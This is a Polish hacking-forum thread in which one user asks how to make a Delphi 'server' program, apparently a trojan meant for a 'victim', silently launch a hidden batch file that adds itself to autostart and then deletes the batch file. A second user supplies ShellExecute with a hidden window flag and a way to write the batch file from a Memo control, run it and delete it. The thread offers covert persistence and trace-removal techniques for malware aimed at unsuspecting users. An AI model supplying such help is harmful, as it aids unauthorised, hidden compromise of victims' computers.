Delphi+Batch?

[Reptile ReX]

Jak zrobić takie cuś w Delphi:

że po odpaleniu serwera otworzy się także plik .bat (Batch) (ukryty), który utworzy klucz w autostarcie, aby odpalał się serwer. Po tym .bat wyłączy się

Kod Batch Mam, ale jak zrobić aby serwer wystartował .bat'a (ukrytego)

 

[maly3900]

uses ShellAPI;

 

ShellExecute(Handle,'open','PLIK_BAT.BAT','','',sw_Hide);

Buźźźź. *; ^^

 

[Reptile ReX]

:*

Ok, powyższy kod służy już do otwarcia Bat'a.

Ale załóżmy że ofiara go nie ma na komputerze bo musiałbym jej wysłać 2 Pliki ;p serwer i bat

Jak zrobic aby serwer i bat były w jednym czyli tak:

Serwer>>/Tworzy?/ plik .bat>>odpala go (to już mam dzięki Maly)>>na koniec kasuje go

Miałem pomysł ze ściągnięciem pliku .bat z adresu www do danej lokalizacji, ale nie będzie to skuteczne bo jeżeli np serwer www jest obciążony to nie pobierze pliku, a tym samym serwer straci na skuteczności bo nie odpali się po starcie systemu

 

[maly3900]

Trochę kreatywności, ziąąą ^^

Wklepujesz chociażby do Memo1 tekst... - a potem tylko:
Memo1.Lines.Savetofile('bat.bat');
Deletefile('bat.bat');

i end. XD

 

[Reptile ReX]

o loooooool, ja na to nie wpadłem ;p

Chyba idę spać bo naprawdę ;p

Dzięki Pomógły poszły ;o

 

[maly3900]

Originally posted by Reptile ReX
Chyba idę spać bo naprawdę ;p

Sen jest mało wydajny, amatorzy.. XD